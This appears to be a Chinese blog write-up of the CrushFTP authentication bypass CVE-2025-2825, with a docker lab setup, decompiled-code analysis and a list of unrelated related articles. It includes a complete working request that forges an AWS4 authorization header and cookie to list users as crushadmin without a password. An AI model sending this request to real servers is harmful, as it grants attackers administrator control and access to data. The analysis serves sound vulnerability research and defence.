网络安全之身份验证绕过漏洞
漏洞简介
CrushFTP 是一款由 CrushFTP LLC 开发的强大文件传输服务器软件,支持FTP、SFTP、HTTP、WebDAV等多种协议,为企业和个人用户提供安全文件传输服务。近期,一个被编号为CVE-2025-2825的严重安全漏洞被发现,该漏洞影响版本10.0.0到10.8.3以及11.0.0到11.3.0。这个身份验证绕过漏洞源于系统对认证标头的不当处理,允许未经授权的远程攻击者通过暴露的HTTP/HTTPS端口获取管理员权限,进而可能访问敏感数据、修改系统文件或完全控制服务器。
漏洞复现
搭建环境还是利用docker 来进行搭建比较简单方便
sudo docker pull crushftp/crushftp11:11.3.0_0
sudo docker run --privileged -p 8080:8080 -p 9090:9090 -p 8443:443 crushftp/crushftp11:11.3.0_0
构造数据包
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=aaaa HTTP/1.1
Host: 192.168.220.129:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://192.168.220.129:8080
Referer: http://192.168.220.129:8080/WebInterface/UserManager/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: CrushAuth=1111111111111_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Connection: close
成功实现未授权操作,绕过身份验证查看到用户列表
漏洞分析
尝试进入docker 容器内部查看文件进行分析,但是提示这些错误
这是因为使用了极简容器镜像,不包含 shell 或者常见命令行工具,这类镜像通常只包含运行特定应用所需的最小组件,没有shell 环境,因此无法像普通容器那样交互式使用。搜索出来多种解决办法我认为以下两种方法是比较靠谱的
- 导出容器为tar文件 docker export 5f > container5f.tar
- 复制容器根目录到宿主机目录下 docker cp 5f:/ ./container5f (我采用的这种方法)
CrushFTP.jar!/crushftp.server.ServerSessionHTTP#loginCheckHeaderAuth
一个标准的 S3 授权头格式是
Authorization: AWS4-HMAC-SHA256 Credential=AKIAIOSFODNN7EXAMPLE/20230101/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=fe5f80f77d5fa3beca038a248ff027d0445342fe2855ddc963176630326f1024
- AWS4-HMAC-SHA256 - 表示使用的签名算法
- Credential - 包含以下信息,由斜杠分隔:
-
- 访问密钥 ID:AKIAIOSFODNN7EXAMPLE
-
- 请求日期 (YYYYMMDD):20230101
-
- AWS 区域:us-east-1
-
- 服务名称:s3
-
- 终止字符串:aws4request
- SignedHeaders - 包含在签名计算中的请求头列表,用分号分隔
- Signature - 请求的签名,是一个16进制编码的字符串
这段代码首先从授权头中提取用户标识,从 Credential 参数的等号后开始,到第一个斜杠停止,将提取出来的部分作为username ,接着判断用户名中是否包含波浪号(~),如果包含则 lookup_user_pass
设置为 false
。之后调用 login_user_pass
继续处理。
CrushFTP.jar!/crushftp.handlers.SessionCrush#login_user_pass(boolean, boolean, String, String)
整个代码实在是太长,所以精简,只显示出关键部分。我们知道从 loginCheckHeaderAuth 传过来时
this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)
- lookupuserpass == anyPass ==
true
- false == doAfterLogin ==
false
- username == username == username
- lookupuserpass ? "" : userpass == userpass ==
""
function login_user_pass(anyPass, doAfterLogin, user_name, user_pass):// 初始化变量boolean verified = falseboolean otp_valid = false// 准备验证密码String verify_password = user_pass// 验证用户凭据verified = verify_user(user_name, verify_password, anyPass, doAfterLogin)// 处理OTP验证逻辑(部分省略)if (verified && this.user != null && this.user.getProperty("otp_auth").equals("true")):// OTP验证逻辑...// 如果验证成功,设置otp_valid = true// 最终登录判断if (verified && (this.user == null || !this.user.getProperty("otp_auth").equals("true")) || verified && otp_valid):// 用户登录成功this.uiPUT("user_logged_in", "true")return trueelse:// 登录失败return false
关键处理部分是 verified = verify_user(user_name, verify_password, anyPass, doAfterLogin)
将传入的参数进行处理,其结果对判断用户是否登录起了至关重要的作用。
跟进verify_user
处理部分
CrushFTP.jar!/crushftp.handlers.SessionCrush#verify_user(String, String, boolean, boolean)
‘CrushFTP.jar!/crushftp.handlers.SessionCrush#verify_user 只是一个中间处理:检查系统是否允许登录、处理特殊格式的用户名、检查密码是否有特殊标记等等,最终调用UserTools.ut.verify_user
执行实际的验证工作
this.user = UserTools.ut.verify_user(ServerStatus.thisObj, theUser, thePass, this.uiSG("listen_ip_port"), this, this.uiIG("user_number"), this.uiSG("user_ip"), this.uiIG("user_port"), this.server_item, loginReason, anyPass);
通过UserTools#verify_user 来对用户进行最终的判断
crushftp.handlers.UserTools#verify_user(crushftp.server.ServerStatus, String, String, String, crushftp.handlers.SessionCrush, int, String, int, Properties, Properties, boolean)
可以看到 当最后一个参数 anyPass 为 true 时,仅仅判断用户是否存在,并没有验证密码
为防止CSRF攻击,所以需要 CrushAuth cookie 和 c2f 参数
CrushFTP.jar!/crushftp.server.ServerSessionHTTP#createCookieSession
CrushFTP.jar!/crushftp.handlers.Common#makeBoundarySimple(int)
CrushAuth cookie 是按照指定格式创建的,前13个字符为时间戳 (new Date()).getTime()
) 拼接下划线(_
) 拼接30个字符的随机字符串(Common.makeBoundary(30)
)
CrushFTP.jar!/crushftp.server.ServerSessionHTTP#parsePostArguments
if (ServerStatus.BG("csrf") && ("," + ServerStatus.SG("whitelist_web_commands") + ",").indexOf("," + globalItems.getProperty("command") + ",") < 0 && this.thisSession.user_info.getProperty("authorization_header", "false").equals("false") && !globalItems.getProperty("c2f", "").equals(data_item.substring(data_item.length() - 4)) && !globalItems.getProperty("c2f", "").equals(ServerStatus.thisObj.common_code.decode_pass(this.thisSession.user.getProperty("password")))) {this.thisSession.uiVG("failed_commands").addElement("" + (new Date()).getTime());if (lastUploadName != null && activeUpload != null) {activeUpload.put(lastUploadName, LOC.G("ERROR") + ": FAILURE:Access Denied. (c2f)");}throw new Exception("FAILURE:Access Denied. (c2f)");}
只有当 c2f 参数既不匹配 cookie 末尾4个字符,也不匹配解码后的用户密码时,会抛出异常
漏洞修复
修改了登录校验的方式
相关文章:

网络安全之身份验证绕过漏洞
漏洞简介 CrushFTP 是一款由 CrushFTP LLC 开发的强大文件传输服务器软件,支持FTP、SFTP、HTTP、WebDAV等多种协议,为企业和个人用户提供安全文件传输服务。近期,一个被编号为CVE-2025-2825的严重安全漏洞被发现,该漏洞影响版本1…...

MySQL 主从复制搭建全流程:基于 Docker 与 Harbor 仓库
一、引言 在数据库管理中,MySQL 主从复制是一种非常重要的技术,它可以实现数据的备份、读写分离,减轻主数据库的压力。本文将详细介绍如何使用 Docker 和 Harbor 仓库来搭建 MySQL 主从复制环境,适合刚接触数据库和 Docker 的新手…...
vscode打开vue + element项目
好嘞,我帮你详细整理一个用 VS Code 来可视化开发 Vue Element UI 的完整步骤,让你能舒服地写代码、预览界面、调试和管理项目。 用 VS Code 可视化开发 Vue Element UI 全流程指南 一、准备工作 安装 VS Code 官网下载安装:https://code…...

Django框架的前端部分使用Ajax请求一
Ajax请求 目录 1.ajax请求使用 2.增加任务列表功能(只有查看和新增) 3.代码展示集合 这篇文章, 要开始讲关于ajax请求的内容了。这个和以前文章中写道的Vue框架里面的axios请求, 很相似。后端代码, 会有一些细节点, 跟前几节文章写的有些区别。 一、ajax请求使用 我们先…...

cmd如何从C盘默认路径切换到D盘某指定目录
以从C盘cmd打开后的默认目录切换到目录"D:\Program Files\MySQL\MySQL Server 8.0\bin\mysqld"为例 打开cmd 首先点击开始键,搜索cms,右键以管理员身份运行打开管理员端的命令行提示符 1、首先要先切换到D盘 直接输入D:然后回车就可以&…...
693SJBH基于.NET的题库管理系统
计算机与信息学院 本科毕业论文(设计)开题报告 论文中文题目 基于asp.net的题库管理系统设计与实现 论文英文题目 Asp.net based database management system design and Implementation 学生姓名 专业班级 XXXXXX专业08 班 ⒈选题的背景和意…...
[Vue]跨组件传值
父子组件传值 详情可以看文章 跨组件传值 Vue 的核⼼是单向数据流。所以在父子组件间传值的时候,数据通常是通过属性从⽗组件向⼦组件,⽽⼦组件通过事件将数据传递回⽗组件。多层嵌套场景⼀般使⽤链式传递的⽅式实现provideinject的⽅式适⽤于需要跨层级…...

每日Prompt:实物与手绘涂鸦创意广告
提示词 一则简约且富有创意的广告,设置在纯白背景上。 一个真实的 [真实物体] 与手绘黑色墨水涂鸦相结合,线条松散而俏皮。涂鸦描绘了:[涂鸦概念及交互:以巧妙、富有想象力的方式与物体互动]。在顶部或中部加入粗体黑色 [广告文案…...

学习笔记:黑马程序员JavaWeb开发教程(2025.4.8)
12.11 登录校验-Filter-详解(过滤器链) 过滤器链及其执行顺序,一个Filter一个过滤器链,类名排名越靠前(按照ABC这样的顺序),就先执行谁 12.12 登录校验-Filter-登录校验过滤器 获取请求参数&…...
vue3 在线播放语音 mp3
播放、暂停、停止 <template><div><button click"togglePlay">{{ isPlaying ? "暂停" : "播放" }}</button><button click"stopAudio">停止</button><p>播放进度:{{ Math.rou…...

Ubuntu部署私有Gitlab
这个东西安装其实挺简单的,但是因为我这边迁移了数据目录和使用自己安装的 nginx 代理还是踩了几个坑,所以大家可以注意下 先看下安装 # 先安装必要组件 sudo apt update sudo apt install -y curl openssh-server ca-certificates tzdata perl# 添加gi…...

genicamtl_lmi_gocator_objectmodel3d
目录 一、在halcon中找不到genicamtl_lmi_gocator_objectmodel3d例程二、在halcon中运行genicamtl_lmi_gocator_objectmodel3d,该如何配置三、代码分段详解(一)传感器连接四、代码分段详解(二)采集图像并显示五、代码分段详解(三)坐标变换六、常见问题一、在halcon中找不…...

[LevelDB]LevelDB版本管理的黑魔法-为什么能在不锁表的情况下管理数据?
文章摘要 LevelDB的日志管理系统是怎么通过双链表来进行数据管理为什么LevelDB能够在不锁表的情况下进行日志新增 适用人群: 对版本管理机制有开发诉求,并且希望参考LevelDB的版本开发机制。数据库相关从业者的专业人士。计算机狂热爱好者,对计算机的…...

bisheng系列(二)- 本地部署(前后端)
一、导读 环境:Ubuntu 24.04、open Euler 23.03、Windows 11、WSL 2、Python 3.10 、bisheng 1.1.1 背景:需要bisheng二开商用,故而此处进行本地部署,便于后期调试开发 时间:20250519 说明:bisheng前后…...

【网络编程】十二、两万字详解 IP协议
文章目录 Ⅰ. 基本概念1、网络层解决的问题2、保证数据可靠的从一台主机送到另一台主机的前提3、路径选择4、主机和路由器的区别 Ⅱ. IP协议格式IP如何将报头与有效载荷进行分离?IP如何决定将有效载荷交付给上层的哪一个协议?理解socket编程 Ⅲ. 分片与组…...

Linux探秘:驾驭开源,解锁高效能——基础指令
♥♥♥~~~~~~欢迎光临知星小度博客空间~~~~~~♥♥♥ ♥♥♥零星地变得优秀~也能拼凑出星河~♥♥♥ ♥♥♥我们一起努力成为更好的自己~♥♥♥ ♥♥♥如果这一篇博客对你有帮助~别忘了点赞分享哦~♥♥♥ ♥♥♥如果有什么问题可以评论区留言或者私信我哦~♥♥♥ ✨✨✨✨✨✨ 个…...

WebSocket解决方案的一些细节阐述
今天我们来看看WebSocket解决方案的一些细节问题: 实际上,集成WebSocket的方法都有相关的工程挑战,这可能会影响项目成本和交付期限。在最简单的层面上,构建 WebSocket 解决方案似乎是添加接收实时更新功能的前进方向。但是&…...
大数据量下Redis分片的5种策略
随着业务规模的增长,单一Redis实例面临着内存容量、网络带宽和计算能力的瓶颈。 分片(Sharding)成为扩展Redis的关键策略,它将数据分散到多个Redis节点上,每个节点负责整个数据集的一个子集。 本文将分享5种Redis分片策略。 1. 取模分片(M…...
muduo库TcpServer模块详解
Muduo库核心模块——TcpServer Muduo库的TcpServer模块是一个基于Reactor模式的高性能TCP服务端实现,负责管理监听端口、接受新连接、分发IO事件及处理连接生命周期。 一、核心组件与职责 Acceptor 监听指定端口,接受新连接,通过epoll监听l…...

Java 代码生成工具:如何快速构建项目骨架?
Java 代码生成工具:如何快速构建项目骨架? 在 Java 项目开发过程中,构建项目骨架是一项繁琐但又基础重要的工作。幸运的是,Java 领域有许多代码生成工具可以帮助我们快速完成这一任务,大大提高开发效率。 一、代码生…...

Nginx核心服务
一.正向代理 正向代理(Forward Proxy)是一种位于客户端和原始服务器之间的代理服务器,其主要作用是将客户端的请求转发给目标服务器,并将响应返回给客户端 Nginx 的 正向代理 充当客户端的“中间人”,代…...

第22天-Python ttkbootstrap 界面美化指南
环境安装 pip install ttkbootstrap 示例1:基础主题切换器 import ttkbootstrap as ttk from ttkbootstrap.constants import *def create_theme_switcher():root = ttk.Window(title="主题切换器", themename="cosmo")def change_theme():selected = t…...

Kubernetes控制平面组件:Kubelet详解(七):容器网络接口 CNI
云原生学习路线导航页(持续更新中) kubernetes学习系列快捷链接 Kubernetes架构原则和对象设计(一)Kubernetes架构原则和对象设计(二)Kubernetes架构原则和对象设计(三)Kubernetes控…...

web应用技术第6次课---Apifox的使用
Apifox - API 文档、调试、Mock、测试一体化协作平台。拥有接口文档管理、接口调试、Mock、自动化测试等功能,接口开发、测试、联调效率,提升 10 倍。最好用的接口文档管理工具,接口自动化测试工具。 第一个问题:为什么需要用Apif…...
Flutter与Kotlin Multiplatform(KMP)深度对比及鸿蒙生态适配解析
Flutter 与 Kotlin Multiplatform(KMP)深度对比及鸿蒙生态适配解析 在跨平台开发领域,Flutter 与 Kotlin Multiplatform(KMP)代表了两种不同的技术路线:前者以 “统一 UI 体验” 为核心,后者以…...
Predict Podcast Listening Time-(回归+特征工程+xgb)
Predict Podcast Listening Time 题意: 给你每个播客的信息,让你预测观众的聆听时间。 数据处理: 1.构造新特征收听效率进行分组 2.对数据异常处理 3.对时间情绪等进行数值编码 4.求某特征值求多项式特征 5.生成特征组合 6.交叉验证并enc…...

Redis队列与Pub/Sub方案全解析:原理、对比与实战性能测试
一、为什么选择Redis实现消息队列? Redis凭借其内存级操作(微秒级响应)、丰富的数据结构以及持久化能力,成为构建高性能消息队列的热门选择。相比传统消息队列(如Kafka/RabbitMQ),Redis在以下场…...
深度估计中为什么需要已知相机基线(known camera baseline)?
在计算机视觉和立体视觉的上下文中,“已知相机基线”(known camera baseline)的解释 1. 相机基线的定义 相机基线是指两个相机中心之间的距离。在立体视觉系统中,通常有两个相机(或一个相机在不同位置拍摄两张图像&a…...
显卡、Cuda和pytorch兼容问题
这里写目录标题 驱动与CUDA版本兼容性问题1. **驱动与CUDA版本兼容性问题**2. **任务特性与硬件适配差异**3. **优化策略与框架配置差异**4. **散热与功耗限制**5. **数据传输与CPU瓶颈**排查建议总结 查询PyTorch中实际使用的CUDA版本**1. 查询PyTorch中实际使用的CUDA版本***…...
SseEmitter是什么
SseEmitter 是 Spring Framework 中用于实现 Server-Sent Events (SSE) 的一个类。SSE 是一种允许服务器向客户端推送实时更新的技术,特别适合需要从服务器到客户端的单向消息传递场景,如股票价格更新、社交媒体的新消息通知等。 Server-Sent Events (S…...